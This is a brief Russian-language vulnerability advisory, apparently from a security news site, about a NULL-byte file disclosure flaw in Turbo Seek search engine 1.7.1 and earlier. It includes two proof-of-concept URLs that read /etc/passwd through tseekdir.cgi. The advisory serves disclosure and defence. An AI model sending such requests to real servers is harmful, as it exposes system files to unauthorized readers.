Просмотр произвольных файлов в Turbo Seek search engine

Программа: Turbo Seek search engine 1.7.1 и более ранние версии

Удаленный пользователь может просматривать содержание файлов на целевом сервере.
Удаленный пользователь может запросить URL с именем файла, за которым следует NULL байт (‘%00’), чтобы заставить систему отобразить содержание запрашиваемого файла:

/cgi-bin/cgi/tseekdir.cgi?location=/etc/passwd%00
/cgi-bin /tseekdir.cgi?id=799&location=/etc/passwd%00

Анатолий Ализар: Бывший автор новостной ленты «Хакера». Увлекается современными технологиями, оружием, информационной безопасностью, носимой электроникой и в целом концепцией Internet of Things.
Похожие материалы